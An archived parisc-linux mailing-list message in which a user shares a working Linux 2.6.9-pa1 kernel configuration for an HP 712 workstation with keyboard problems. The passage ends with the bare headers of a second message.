NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_sOgtBNtXPA8x2KR"
X-Trace: ger.gmane.org 1416623620 11961 80.91.229.3 (22 Nov 2014 02:33:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15793 invoked by uid 65534); 7 Dec 2004 19:26:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx070) with SMTP; 07 Dec 2004 20:26:40 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 41F003BDFC; Tue,  7 Dec 2004 12:26:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08774-10; Tue, 7 Dec 2004 12:26:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 654DA3BE66; Tue,  7 Dec 2004 12:25:49 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7CE7B3BE60
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Dec 2004 12:25:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07899-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 7 Dec 2004 12:25:38 -0700 (MST)
Original-Received: from otto2.isd-holland.nl (otto2.isd-holland.nl [62.221.254.31])
	by free.linux.hp.com (Postfix) with ESMTP id 32D5A3BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Dec 2004 12:25:37 -0700 (MST)
Original-Received: from router.mbse.dds.nl (62-221-196-62.dsl.fiberworld.nl
	[62.221.196.62])
	by otto2.isd-holland.nl (Postfix) with ESMTP id 47C6A3641C6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  7 Dec 2004 20:25:36 +0100 (CET)
Original-Received: by router.mbse.dds.nl (Postfix, from userid 10)
	id E81825E6C; Tue,  7 Dec 2004 20:25:34 +0100 (CET)
Original-Received: from seaport.mbse.ym
	by router.mbse.ym (AvMailGate-2.0.1) id 25959-183B24CD;
	Tue, 07 Dec 2004 20:25:33 +0100
User-Agent: KMail/1.6.2
In-Reply-To: <41B5A752.4090906@lycos.nl>
Content-Disposition: inline
X-AntiVirus: OK! AntiVir MailGate Version 2.0.1; AVE: 6.28.0.19;
	VDF: 6.28.0.107
	at router has not found any known virus in this email.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22192


--Boundary-00=_sOgtBNtXPA8x2KR
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Cornee,

the attached config works with my 712, but there are some things to watch f=
or=20
or the keyboard will not work.


Op dinsdag 7 december 2004 13:51, schreef Corn=E9 Beerse:
> Hello,
>
> Recently I found time to update my 712 workstation to kernel version 2.6.=
x.
> Most recent kernels I tried from
> http://cvs.parisc-linux.org/download/linux-2.6/ or build from source, don=
't
> give me a keyboard at the console.
>
> Is this something I have to define, like re-create device files with mkde=
v?
>
> Is something changed? I recall messages on using special pa-ps2 code v.s.
> default linux ps2 code. Should a new 712-config file suit my needs? Which
> options to try/test/use?
>
> Or is it still work in progress? Then: what's the status and can I
> contribute?
>
> At build-time and/or boot-time I donnot see any alarming messages like
> failing builds or links or such.
>
>
>
> CBee
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

=2D-=20

	Greetings, Michiel Broek

mbroek@mbse.dds.nl  or  Fidonet 2:280/2802 to Michiel Broek.

--Boundary-00=_sOgtBNtXPA8x2KR
Content-Type: text/plain; charset="iso-8859-1"; name="config-parisc-2.6.9-pa1"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="config-parisc-2.6.9-pa1"

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.9-pa1
# Sat Oct 23 12:57:08 2004
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y
CONFIG_CLEAN_COMPILE=y
CONFIG_BROKEN_ON_SMP=y

#
# General setup
#
CONFIG_LOCALVERSION=""
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
# CONFIG_POSIX_MQUEUE is not set
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
# CONFIG_AUDIT is not set
CONFIG_LOG_BUF_SHIFT=15
CONFIG_HOTPLUG=y
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
# CONFIG_EMBEDDED is not set
CONFIG_KALLSYMS=y
# CONFIG_KALLSYMS_ALL is not set
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_FUTEX=y
CONFIG_EPOLL=y
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_AS=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
# CONFIG_CC_OPTIMIZE_FOR_SIZE is not set
CONFIG_SHMEM=y
# CONFIG_TINY_SHMEM is not set

#
# Loadable module support
#
CONFIG_MODULES=y
# CONFIG_MODULE_UNLOAD is not set
CONFIG_OBSOLETE_MODPARM=y
# CONFIG_MODVERSIONS is not set
# CONFIG_KMOD is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
CONFIG_PA7100LC=y
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
# CONFIG_PA8X00 is not set
CONFIG_PA11=y
# CONFIG_64BIT is not set
# CONFIG_SMP is not set
# CONFIG_DISCONTIGMEM is not set
# CONFIG_PREEMPT is not set
# CONFIG_HPUX is not set

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
# CONFIG_HPPB is not set
# CONFIG_IOMMU_CCIO is not set
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
# CONFIG_EISA is not set
# CONFIG_PCI is not set
# CONFIG_CHASSIS_LCD_LED is not set
# CONFIG_PDC_CHASSIS is not set

#
# PCMCIA/CardBus support
#
# CONFIG_PCMCIA is not set

#
# PCI Hotplug Support
#

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_MISC=m

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=m
# CONFIG_DEBUG_DRIVER is not set

#
# Memory Technology Devices (MTD)
#
# CONFIG_MTD is not set

#
# Parallel port support
#
CONFIG_PARPORT=y
CONFIG_PARPORT_PC=m
CONFIG_PARPORT_PC_CML1=m
# CONFIG_PARPORT_PC_FIFO is not set
# CONFIG_PARPORT_PC_SUPERIO is not set
CONFIG_PARPORT_GSC=y
# CONFIG_PARPORT_OTHER is not set
# CONFIG_PARPORT_1284 is not set

#
# Plug and Play support
#

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_PARIDE is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_CRYPTOLOOP=y
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_RAM is not set

#
# ATA/ATAPI/MFM/RLL support
#
# CONFIG_IDE is not set

#
# SCSI device support
#
CONFIG_SCSI=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=y
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_CHR_DEV_SG=y

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI Transport Attributes
#
CONFIG_SCSI_SPI_ATTRS=y
# CONFIG_SCSI_FC_ATTRS is not set

#
# SCSI low-level drivers
#
# CONFIG_SCSI_SATA is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
# CONFIG_SCSI_ZALON is not set
# CONFIG_SCSI_DEBUG is not set

#
# Multi-device support (RAID and LVM)
#
CONFIG_MD=y
CONFIG_BLK_DEV_MD=m
CONFIG_MD_LINEAR=m
CONFIG_MD_RAID0=m
CONFIG_MD_RAID1=m
CONFIG_MD_RAID10=m
CONFIG_MD_RAID5=m
CONFIG_MD_RAID6=m
# CONFIG_MD_MULTIPATH is not set
# CONFIG_BLK_DEV_DM is not set

#
# Fusion MPT device support
#

#
# IEEE 1394 (FireWire) support
#

#
# I2O device support
#

#
# Networking support
#
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_NETLINK_DEV=y
CONFIG_UNIX=y
# CONFIG_NET_KEY is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_PNP=y
# CONFIG_IP_PNP_DHCP is not set
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_INET_AH is not set
# CONFIG_INET_ESP is not set
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_TUNNEL is not set
# CONFIG_IPV6 is not set
# CONFIG_NETFILTER is not set

#
# SCTP Configuration (EXPERIMENTAL)
#
# CONFIG_IP_SCTP is not set
# CONFIG_ATM is not set
# CONFIG_BRIDGE is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
# CONFIG_LLC2 is not set
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set
# CONFIG_NET_CLS_ROUTE is not set

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_NETPOLL is not set
# CONFIG_NET_POLL_CONTROLLER is not set
# CONFIG_HAMRADIO is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
CONFIG_NETDEVICES=y
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
# CONFIG_MII is not set
CONFIG_LASI_82596=m

#
# Ethernet (1000 Mbit)
#

#
# Ethernet (10000 Mbit)
#

#
# Token Ring devices
#

#
# Wireless LAN (non-hamradio)
#
CONFIG_NET_RADIO=y

#
# Obsolete Wireless cards support (pre-802.11)
#
# CONFIG_STRIP is not set
# CONFIG_ATMEL is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set
# CONFIG_PLIP is not set
CONFIG_PPP=m
CONFIG_PPP_MULTILINK=y
# CONFIG_PPP_FILTER is not set
# CONFIG_PPP_ASYNC is not set
# CONFIG_PPP_SYNC_TTY is not set
CONFIG_PPP_DEFLATE=m
CONFIG_PPP_BSDCOMP=m
CONFIG_PPPOE=m
# CONFIG_SLIP is not set
# CONFIG_SHAPER is not set
# CONFIG_NETCONSOLE is not set

#
# ISDN subsystem
#
# CONFIG_ISDN is not set

#
# Telephony Support
#
# CONFIG_PHONE is not set

#
# Input device support
#
CONFIG_INPUT=y

#
# Userland interfaces
#
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_TSDEV is not set
CONFIG_INPUT_EVDEV=y
# CONFIG_INPUT_EVBUG is not set

#
# Input I/O drivers
#
# CONFIG_GAMEPORT is not set
CONFIG_SOUND_GAMEPORT=y
CONFIG_SERIO=y
# CONFIG_SERIO_SERPORT is not set
# CONFIG_SERIO_PARKBD is not set
CONFIG_SERIO_GSCPS2=y
# CONFIG_HP_SDC is not set
# CONFIG_SERIO_RAW is not set

#
# Input Device Drivers
#
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
# CONFIG_KEYBOARD_ATKBD_HP_KEYCODES is not set
# CONFIG_KEYBOARD_SUNKBD is not set
# CONFIG_KEYBOARD_LKKBD is not set
# CONFIG_KEYBOARD_XTKBD is not set
# CONFIG_KEYBOARD_NEWTON is not set
CONFIG_KEYBOARD_HIL_OLD=m
# CONFIG_KEYBOARD_HIL is not set
CONFIG_INPUT_MOUSE=y
CONFIG_MOUSE_PS2=y
# CONFIG_MOUSE_SERIAL is not set
# CONFIG_MOUSE_VSXXXAA is not set
# CONFIG_MOUSE_HIL is not set
# CONFIG_INPUT_JOYSTICK is not set
# CONFIG_INPUT_TOUCHSCREEN is not set
CONFIG_INPUT_MISC=y
# CONFIG_INPUT_UINPUT is not set
# CONFIG_HP_SDC_RTC is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
# CONFIG_SERIAL_NONSTANDARD is not set

#
# Serial drivers
#
CONFIG_SERIAL_8250=m
CONFIG_SERIAL_8250_NR_UARTS=4
CONFIG_SERIAL_8250_EXTENDED=y
CONFIG_SERIAL_8250_MANY_PORTS=y
CONFIG_SERIAL_8250_SHARE_IRQ=y
# CONFIG_SERIAL_8250_DETECT_IRQ is not set
# CONFIG_SERIAL_8250_MULTIPORT is not set
# CONFIG_SERIAL_8250_RSA is not set

#
# Non-8250 serial port support
#
# CONFIG_SERIAL_MUX is not set
# CONFIG_PDC_CONSOLE is not set
CONFIG_SERIAL_CORE=m
CONFIG_UNIX98_PTYS=y
CONFIG_LEGACY_PTYS=y
CONFIG_LEGACY_PTY_COUNT=256
CONFIG_PRINTER=m
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set
# CONFIG_TIPAR is not set

#
# IPMI
#
# CONFIG_IPMI_HANDLER is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GEN_RTC=y
# CONFIG_GEN_RTC_X is not set
CONFIG_DTLK=m
# CONFIG_R3964 is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_AGP is not set
# CONFIG_DRM is not set
# CONFIG_RAW_DRIVER is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Dallas's 1-wire bus
#
# CONFIG_W1 is not set

#
# Misc devices
#

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# Digital Video Broadcasting Devices
#
# CONFIG_DVB is not set

#
# Graphics support
#
CONFIG_FB=y
CONFIG_FB_MODE_HELPERS=y
CONFIG_FB_STI=y
# CONFIG_FB_VIRTUAL is not set

#
# Console display driver support
#
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=128
CONFIG_DUMMY_CONSOLE_ROWS=48
CONFIG_DUMMY_CONSOLE=y
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y

#
# Logo configuration
#
CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_CLUT224=y
CONFIG_LOGO_PARISC_CLUT224=y

#
# Sound
#
CONFIG_SOUND=y

#
# Advanced Linux Sound Architecture
#
CONFIG_SND=y
CONFIG_SND_TIMER=y
CONFIG_SND_PCM=y
CONFIG_SND_RAWMIDI=m
CONFIG_SND_SEQUENCER=m
CONFIG_SND_SEQ_DUMMY=m
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=m
CONFIG_SND_PCM_OSS=m
# CONFIG_SND_SEQUENCER_OSS is not set
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set

#
# Generic devices
#
CONFIG_SND_MPU401_UART=m
CONFIG_SND_DUMMY=m
# CONFIG_SND_VIRMIDI is not set
CONFIG_SND_MTPAV=m
CONFIG_SND_SERIAL_U16550=m
CONFIG_SND_MPU401=m

#
# ALSA GSC devices
#
CONFIG_SND_HARMONY=y

#
# Open Sound System
#
# CONFIG_SOUND_PRIME is not set

#
# USB support
#

#
# USB Gadget Support
#
# CONFIG_USB_GADGET is not set

#
# File systems
#
CONFIG_EXT2_FS=y
# CONFIG_EXT2_FS_XATTR is not set
CONFIG_EXT3_FS=y
# CONFIG_EXT3_FS_XATTR is not set
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
CONFIG_REISERFS_FS=y
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_REISERFS_FS_XATTR is not set
# CONFIG_JFS_FS is not set
# CONFIG_XFS_FS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_ROMFS_FS is not set
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
# CONFIG_ZISOFS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
# CONFIG_MSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_SYSFS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVPTS_FS_XATTR is not set
CONFIG_TMPFS=y
# CONFIG_HUGETLB_PAGE is not set
CONFIG_RAMFS=y

#
# Miscellaneous filesystems
#
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set

#
# Network File Systems
#
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
# CONFIG_NFS_V4 is not set
# CONFIG_NFS_DIRECTIO is not set
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
# CONFIG_NFSD_V4 is not set
CONFIG_NFSD_TCP=y
CONFIG_ROOT_NFS=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_EXPORTFS=y
CONFIG_SUNRPC=y
# CONFIG_RPCSEC_GSS_KRB5 is not set
# CONFIG_RPCSEC_GSS_SPKM3 is not set
CONFIG_SMB_FS=m
# CONFIG_SMB_NLS_DEFAULT is not set
CONFIG_CIFS=m
# CONFIG_CIFS_STATS is not set
# CONFIG_CIFS_XATTR is not set
# CONFIG_CIFS_POSIX is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
CONFIG_PARTITION_ADVANCED=y
# CONFIG_ACORN_PARTITION is not set
# CONFIG_OSF_PARTITION is not set
# CONFIG_AMIGA_PARTITION is not set
# CONFIG_ATARI_PARTITION is not set
# CONFIG_MAC_PARTITION is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_BSD_DISKLABEL is not set
# CONFIG_MINIX_SUBPARTITION is not set
# CONFIG_SOLARIS_X86_PARTITION is not set
# CONFIG_UNIXWARE_DISKLABEL is not set
# CONFIG_LDM_PARTITION is not set
# CONFIG_SGI_PARTITION is not set
# CONFIG_ULTRIX_PARTITION is not set
# CONFIG_SUN_PARTITION is not set
# CONFIG_EFI_PARTITION is not set

#
# Native Language Support
#
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
CONFIG_NLS_CODEPAGE_737=m
CONFIG_NLS_CODEPAGE_775=m
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_CODEPAGE_852=m
CONFIG_NLS_CODEPAGE_855=m
CONFIG_NLS_CODEPAGE_857=m
CONFIG_NLS_CODEPAGE_860=m
CONFIG_NLS_CODEPAGE_861=m
CONFIG_NLS_CODEPAGE_862=m
CONFIG_NLS_CODEPAGE_863=m
CONFIG_NLS_CODEPAGE_864=m
CONFIG_NLS_CODEPAGE_865=m
CONFIG_NLS_CODEPAGE_866=m
CONFIG_NLS_CODEPAGE_869=m
CONFIG_NLS_CODEPAGE_936=m
CONFIG_NLS_CODEPAGE_950=m
CONFIG_NLS_CODEPAGE_932=m
CONFIG_NLS_CODEPAGE_949=m
CONFIG_NLS_CODEPAGE_874=m
CONFIG_NLS_ISO8859_8=m
CONFIG_NLS_CODEPAGE_1250=m
CONFIG_NLS_CODEPAGE_1251=m
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
CONFIG_NLS_ISO8859_2=m
CONFIG_NLS_ISO8859_3=m
CONFIG_NLS_ISO8859_4=m
CONFIG_NLS_ISO8859_5=m
CONFIG_NLS_ISO8859_6=m
CONFIG_NLS_ISO8859_7=m
CONFIG_NLS_ISO8859_9=m
CONFIG_NLS_ISO8859_13=m
CONFIG_NLS_ISO8859_14=m
CONFIG_NLS_ISO8859_15=m
CONFIG_NLS_KOI8_R=m
CONFIG_NLS_KOI8_U=m
CONFIG_NLS_UTF8=m

#
# Profiling support
#
# CONFIG_PROFILING is not set

#
# Kernel hacking
#
CONFIG_DEBUG_KERNEL=y
CONFIG_MAGIC_SYSRQ=y
# CONFIG_DEBUG_SLAB is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_INFO is not set

#
# Security options
#
CONFIG_SECURITY=y
# CONFIG_SECURITY_NETWORK is not set
CONFIG_SECURITY_CAPABILITIES=y
# CONFIG_SECURITY_SELINUX is not set

#
# Cryptographic options
#
CONFIG_CRYPTO=y
# CONFIG_CRYPTO_HMAC is not set
# CONFIG_CRYPTO_NULL is not set
# CONFIG_CRYPTO_MD4 is not set
# CONFIG_CRYPTO_MD5 is not set
# CONFIG_CRYPTO_SHA1 is not set
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_WP512 is not set
# CONFIG_CRYPTO_DES is not set
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_TWOFISH is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_AES is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_ARC4 is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_DEFLATE is not set
# CONFIG_CRYPTO_MICHAEL_MIC is not set
# CONFIG_CRYPTO_CRC32C is not set
# CONFIG_CRYPTO_TEST is not set

#
# Library routines
#
# CONFIG_CRC_CCITT is not set
# CONFIG_CRC32 is not set
# CONFIG_LIBCRC32C is not set
CONFIG_ZLIB_INFLATE=m
CONFIG_ZLIB_DEFLATE=m

--Boundary-00=_sOgtBNtXPA8x2KR
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_sOgtBNtXPA8x2KR--



From - Thu Nov 08 21:32:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] clerar user page test
Date: Thu, 9 Dec 2004 00:42:08 -0700
Lines: 63
Approved: news@gmane.org
Message-ID: <20041209074208.GC5307@colo.lackof.org>
References: <418A81310000D172@mail-7-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623620 11963 80.91.229.3 (22 Nov 2014 02:33:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21249 invoked by uid 65534); 9 Dec 2004 07:44:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 09 Dec 2004 08:44:59 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 78CA63BE67; Thu,  9 Dec 2004 00:44:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27920-06; Thu, 9 Dec 2004 00:44:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 666EA3BE68; Thu,  9 Dec 2004 00:43:03 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 46F3E3BE66
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Dec 2004 00:42:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27982-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Dec 2004 00:42:57 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id D30733BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Dec 2004 00:42:56 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 0428A2980B2; Thu,  9 Dec 2004 00:42:56 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06314-04; Thu, 9 Dec 2004 00:42:08 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 4B0E52980B0; Thu,  9 Dec 2004 00:42:08 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <418A81310000D172@mail-7-bnl.tiscali.it>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
